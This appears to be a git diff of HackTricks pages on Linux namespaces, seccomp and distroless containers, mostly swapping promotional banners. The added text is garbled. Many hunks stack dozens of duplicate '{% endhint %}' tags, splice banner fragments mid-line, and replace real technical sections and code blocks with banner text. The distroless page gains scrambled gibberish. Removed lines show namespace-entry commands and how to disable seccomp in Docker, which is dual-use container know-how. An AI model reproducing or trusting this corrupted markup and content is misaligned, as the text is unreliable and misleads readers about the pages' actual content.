+Learn & practice GCP Hacking: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte)
-Learn AWS hacking from zero to hero withhtARTE (HackTricks AWS Red Team Expert)!
+
-Other ways to support HackTricks:
+Support HackTricks
-* If you want to see your **company advertised in HackTricks** or **download HackTricks in PDF** Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
-* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com)
-* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family)
-* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
-* **Share your hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
+* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
+* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
+* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
+{% endhint %}
diff --git a/linux-hardening/privilege-escalation/docker-security/namespaces/network-namespace.md b/linux-hardening/privilege-escalation/docker-security/namespaces/network-namespace.md
index 38001fd2974..92fb989151f 100644
--- a/linux-hardening/privilege-escalation/docker-security/namespaces/network-namespace.md
+++ b/linux-hardening/privilege-escalation/docker-security/namespaces/network-namespace.md
@@ -1,18 +1,19 @@
# Network Namespace
-
+{% hint style="success" %}
+Learn & practice AWS Hacking:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\
+Learn & practice GCP Hacking: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte)
-Learn AWS hacking from zero to hero withhtARTE (HackTricks AWS Red Team Expert)!
+
-Other ways to support HackTricks:
+Support HackTricks
-* If you want to see your **company advertised in HackTricks** or **download HackTricks in PDF** Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
-* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com)
-* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family)
-* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
-* **Share your hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
+* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
+* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
+* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
+{% endhint %}
## Basic Information
@@ -95,16 +96,17 @@ Also, you can only **enter in another process namespace if you are root**. And y
## References
* [https://stackoverflow.com/questions/44666700/unshare-pid-bin-bash-fork-cannot-allocate-memory](https://stackoverflow.com/questions/44666700/unshare-pid-bin-bash-fork-cannot-allocate-memory)
-
+{% hint style="success" %}
+Learn & practice AWS Hacking:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\
+Learn & practice GCP Hacking: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte)
-Learn AWS hacking from zero to hero withhtARTE (HackTricks AWS Red Team Expert)!
+
-Other ways to support HackTricks:
+Support HackTricks
-* If you want to see your **company advertised in HackTricks** or **download HackTricks in PDF** Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
-* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com)
-* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family)
-* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
-* **Share your hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
+* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
+* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
+* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
+{% endhint %}
diff --git a/linux-hardening/privilege-escalation/docker-security/namespaces/pid-namespace.md b/linux-hardening/privilege-escalation/docker-security/namespaces/pid-namespace.md
index 60b5fec57eb..9a85c59e83b 100644
--- a/linux-hardening/privilege-escalation/docker-security/namespaces/pid-namespace.md
+++ b/linux-hardening/privilege-escalation/docker-security/namespaces/pid-namespace.md
@@ -1,18 +1,20 @@
# PID Namespace
-
+{% hint style="success" %}
+Learn & practice AWS Hacking:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\
+Learn & practice GCP Hacking: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte)
-Learn AWS hacking from zero to hero withhtARTE (HackTricks AWS Red Team Expert)!
+
-Other ways to support HackTricks:
+Support HackTricks
-* If you want to see your **company advertised in HackTricks** or **download HackTricks in PDF** Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
-* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com)
-* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family)
-* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
-* **Share your hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
+* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
+* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
+* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
+{% endhint %}
+{% endhint %}
## Basic Information
@@ -98,17 +100,19 @@ Also, you can only **enter in another process PID namespace if you are root**. A
## References
* [https://stackoverflow.com/questions/44666700/unshare-pid-bin-bash-fork-cannot-allocate-memory](https://stackoverflow.com/questions/44666700/unshare-pid-bin-bash-fork-cannot-allocate-memory)
+{% hint style="success" %}
+Learn & practice AWS Hacking:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\
+Learn & practice GCP Hacking: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte)
-Learn AWS hacking from zero to hero withhtARTE (HackTricks AWS Red Team Expert)!
+Support HackTricks
-Other ways to support HackTricks:
-
-* If you want to see your **company advertised in HackTricks** or **download HackTricks in PDF** Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
-* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com)
-* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family)
-* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
-* **Share your hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
+* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
+* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
+* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
+{% endhint %}
+
+{% endhint %}
diff --git a/linux-hardening/privilege-escalation/docker-security/namespaces/time-namespace.md b/linux-hardening/privilege-escalation/docker-security/namespaces/time-namespace.md
index d37ca74135e..be0d55f1b52 100644
--- a/linux-hardening/privilege-escalation/docker-security/namespaces/time-namespace.md
+++ b/linux-hardening/privilege-escalation/docker-security/namespaces/time-namespace.md
@@ -1,18 +1,27 @@
# Time Namespace
-
+{% hint style="success" %}
+Learn & practice AWS Hacking:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\
+Learn & practice GCP Hacking: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte)
-Learn AWS hacking from zero to hero withhtARTE (HackTricks AWS Red Team Expert)!
+
-Other ways to support HackTricks:
+Support HackTricks
-* If you want to see your **company advertised in HackTricks** or **download HackTricks in PDF** Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
-* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com)
-* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family)
-* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
-* **Share your hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
+* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
+* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
+* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
+{% endhint %}
+{% endhint %}
+{% endhint %}
+{% endhint %}
+{% endhint %}
+{% endhint %}
+{% endhint %}
+{% endhint %}
+{% endhint %}
## Basic Information
@@ -80,24 +89,33 @@ sudo find /proc -maxdepth 3 -type l -name time -exec ls -l {} \; 2>/dev/null |
```bash
nsenter -T TARGET_PID --pid /bin/bash
```
-
-Also, you can only **enter in another process namespace if you are root**. And you **cannot** **enter** in other namespace **without a descriptor** pointing to it (like `/proc/self/ns/net`).
-
-
-## References
-* [https://stackoverflow.com/questions/44666700/unshare-pid-bin-bash-fork-cannot-allocate-memory](https://stackoverflow.com/questions/44666700/unshare-pid-bin-bash-fork-cannot-allocate-memory)
-* [https://www.phoronix.com/news/Linux-Time-Namespace-Coming](https://www.phoronix.com/news/Linux-Time-Namespace-Coming)
+{% hint style="success" %}
+Learn & practice AWS Hacking:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\
+Learn & practice GCP Hacking: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte)
-Learn AWS hacking from zero to hero withhtARTE (HackTricks AWS Red Team Expert)!
+Support HackTricks
-Other ways to support HackTricks:
+* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
+* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
+* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
-* If you want to see your **company advertised in HackTricks** or **download HackTricks in PDF** Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
-* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com)
-* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family)
-* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
-* **Share your hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
+
+{% endhint %}
+
+{% endhint %}
+
+{% endhint %}
+
+{% endhint %}
+
+{% endhint %}
+
+{% endhint %}
+
+{% endhint %}hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
+{% endhint %}
+{% endhint %}
diff --git a/linux-hardening/privilege-escalation/docker-security/namespaces/user-namespace.md b/linux-hardening/privilege-escalation/docker-security/namespaces/user-namespace.md
index fc3a839a147..9b492f57e9d 100644
--- a/linux-hardening/privilege-escalation/docker-security/namespaces/user-namespace.md
+++ b/linux-hardening/privilege-escalation/docker-security/namespaces/user-namespace.md
@@ -1,18 +1,25 @@
# User Namespace
-
+{% hint style="success" %}
+Learn & practice AWS Hacking:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\
+Learn & practice GCP Hacking: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte)
-Learn AWS hacking from zero to hero withhtARTE (HackTricks AWS Red Team Expert)!
+
-Other ways to support HackTricks:
+Support HackTricks
-* If you want to see your **company advertised in HackTricks** or **download HackTricks in PDF** Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
-* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com)
-* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family)
-* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
-* **Share your hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
+* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
+* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
+* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
+{% endhint %}
+{% endhint %}
+{% endhint %}
+{% endhint %}
+{% endhint %}
+{% endhint %}
+{% endhint %}
## Basic Information
@@ -158,22 +165,29 @@ Probando: 0x130 . . . Error
Probando: 0x139 . . . Error
Probando: 0x140 . . . Error
Probando: 0x141 . . . Error
-Probando: 0x143 . . . Error
-```
-
-## References
-* [https://stackoverflow.com/questions/44666700/unshare-pid-bin-bash-fork-cannot-allocate-memory](https://stackoverflow.com/questions/44666700/unshare-pid-bin-bash-fork-cannot-allocate-memory)
+{% hint style="success" %}
+Learn & practice AWS Hacking:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\
+Learn & practice GCP Hacking: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte)
-Learn AWS hacking from zero to hero withhtARTE (HackTricks AWS Red Team Expert)!
+Support HackTricks
-Other ways to support HackTricks:
+* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
+* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
+* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
-* If you want to see your **company advertised in HackTricks** or **download HackTricks in PDF** Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
-* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com)
-* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family)
-* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
-* **Share your hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
+
+{% endhint %}hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
+{% endhint %}
+
+{% endhint %}
+
+{% endhint %}
+{% endhint %}
+
+{% endhint %}
+
+{% endhint %}
diff --git a/linux-hardening/privilege-escalation/docker-security/namespaces/uts-namespace.md b/linux-hardening/privilege-escalation/docker-security/namespaces/uts-namespace.md
index 7ecb9c6dc4a..f42b3c0aa6d 100644
--- a/linux-hardening/privilege-escalation/docker-security/namespaces/uts-namespace.md
+++ b/linux-hardening/privilege-escalation/docker-security/namespaces/uts-namespace.md
@@ -1,18 +1,34 @@
# UTS Namespace
-
+{% hint style="success" %}
+Learn & practice AWS Hacking:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\
+Learn & practice GCP Hacking: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte)
-Learn AWS hacking from zero to hero withhtARTE (HackTricks AWS Red Team Expert)!
+
-Other ways to support HackTricks:
+Support HackTricks
-* If you want to see your **company advertised in HackTricks** or **download HackTricks in PDF** Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
-* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com)
-* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family)
-* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
-* **Share your hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
+* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
+* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
+* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
+{% endhint %}
+{% endhint %}
+{% endhint %}
+{% endhint %}
+{% endhint %}
+{% endhint %}
+{% endhint %}
+{% endhint %}
+{% endhint %}
+{% endhint %}
+{% endhint %}
+{% endhint %}
+{% endhint %}
+{% endhint %}
+{% endhint %}
+{% endhint %}
## Basic Information
@@ -84,31 +100,47 @@ sudo find /proc -maxdepth 3 -type l -name uts -exec ls -l {} \; 2>/dev/null | g
### Enter inside an UTS namespace
```bash
-nsenter -u TARGET_PID --pid /bin/bash
-```
-
-Also, you can only **enter in another process namespace if you are root**. And you **cannot** **enter** in other namespace **without a descriptor** pointing to it (like `/proc/self/ns/uts`).
-
-### Change hostname
-
-```bash
-unshare -u /bin/bash
-hostname newhostname # Hostname won't be changed inside the host UTS ns
-```
-
-## References
-* [https://stackoverflow.com/questions/44666700/unshare-pid-bin-bash-fork-cannot-allocate-memory](https://stackoverflow.com/questions/44666700/unshare-pid-bin-bash-fork-cannot-allocate-memory)
+{% hint style="success" %}
+Learn & practice AWS Hacking:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\
+Learn & practice GCP Hacking: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte)
-Learn AWS hacking from zero to hero withhtARTE (HackTricks AWS Red Team Expert)!
-
-Other ways to support HackTricks:
+Support HackTricks
-* If you want to see your **company advertised in HackTricks** or **download HackTricks in PDF** Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
-* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com)
-* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family)
-* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
-* **Share your hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
+* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
+* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
+* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
+{% endhint %}
+
+{% endhint %}
+
+{% endhint %}
+
+{% endhint %}
+
+{% endhint %}
+
+{% endhint %}
+
+{% endhint %}
+
+{% endhint %}
+
+{% endhint %}
+
+{% endhint %}
+
+{% endhint %}
+
+{% endhint %}
+
+{% endhint %}
+
+{% endhint %}
+
+{% endhint %}
+
+{% endhint %}
diff --git a/linux-hardening/privilege-escalation/docker-security/seccomp.md b/linux-hardening/privilege-escalation/docker-security/seccomp.md
index 0e2fc5bf996..653336b7c97 100644
--- a/linux-hardening/privilege-escalation/docker-security/seccomp.md
+++ b/linux-hardening/privilege-escalation/docker-security/seccomp.md
@@ -1,18 +1,28 @@
# Seccomp
-
+{% hint style="success" %}
+Learn & practice AWS Hacking:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\
+Learn & practice GCP Hacking: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte)
-Learn AWS hacking from zero to hero withhtARTE (HackTricks AWS Red Team Expert)!
+
-Other ways to support HackTricks:
+Support HackTricks
-* If you want to see your **company advertised in HackTricks** or **download HackTricks in PDF** Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
-* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com)
-* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family)
-* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
-* **Share your hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
+* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
+* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
+* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
+{% endhint %}
+{% endhint %}
+{% endhint %}
+{% endhint %}
+{% endhint %}
+{% endhint %}
+{% endhint %}
+{% endhint %}
+{% endhint %}
+{% endhint %}
## Basic Information
@@ -169,25 +179,35 @@ Following output shows the “docker inspect” displaying the profile:
```json
"SecurityOpt": [
"seccomp:{\"defaultAction\":\"SCMP_ACT_ALLOW\",\"syscalls\":[{\"name\":\"chmod\",\"action\":\"SCMP_ACT_ERRNO\"}]}"
- ],
-```
-
-### Deactivate it in Docker
-
-Launch a container with the flag: **`--security-opt seccomp=unconfined`**
-
-As of Kubernetes 1.19, **seccomp is enabled by default for all Pods**. However, the default seccomp profile applied to the Pods is the "**RuntimeDefault**" profile, which is **provided by the container runtime** (e.g., Docker, containerd). The "RuntimeDefault" profile allows most system calls while blocking a few that are considered dangerous or not generally required by containers.
+{% hint style="success" %}
+Learn & practice AWS Hacking:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\
+Learn & practice GCP Hacking: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte)
-Learn AWS hacking from zero to hero withhtARTE (HackTricks AWS Red Team Expert)!
+Support HackTricks
-Other ways to support HackTricks:
-
-* If you want to see your **company advertised in HackTricks** or **download HackTricks in PDF** Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
-* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com)
-* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family)
-* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
-* **Share your hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
+* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
+* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
+* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
+{% endhint %}
+
+{% endhint %}
+
+{% endhint %}
+
+{% endhint %}
+
+{% endhint %}
+
+{% endhint %}
+
+{% endhint %}
+
+{% endhint %}
+
+{% endhint %}
+
+{% endhint %}
diff --git a/linux-hardening/privilege-escalation/docker-security/weaponizing-distroless.md b/linux-hardening/privilege-escalation/docker-security/weaponizing-distroless.md
index 522f9a41303..464e36db4bb 100644
--- a/linux-hardening/privilege-escalation/docker-security/weaponizing-distroless.md
+++ b/linux-hardening/privilege-escalation/docker-security/weaponizing-distroless.md
@@ -1,18 +1,22 @@
# Weaponizing Distroless
-
+{% hnnt styte=" acceas" %}
+GCP Ha& practice ckinH: [**HackTatckt T.aining AWS Red TelmtExp"rt (ARTE)**](ta-size="line">[**HackTricks Training GCP Re)Tmkg/stc="r.giebpokal"zee>/ttdt.png"isl=""data-ize="line">\
+Learn & aciceGCP ngslt="" aa-iz="le">[**angGC RedTamExper(GE)tinhackth ckiuxyzcomurspssgr/a)
-Learn AWS hacking from zero to hero withhtARTE (HackTricks AWS Red Team Expert)!
+
-Other ways to support HackTricks:
+SupportHackTricks
-* If you want to see your **company advertised in HackTricks** or **download HackTricks in PDF** Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
-* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com)
-* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family)
-* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
-* **Share your hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
+*Chek th [**subsrippangithub.cm/sorsarlosp!
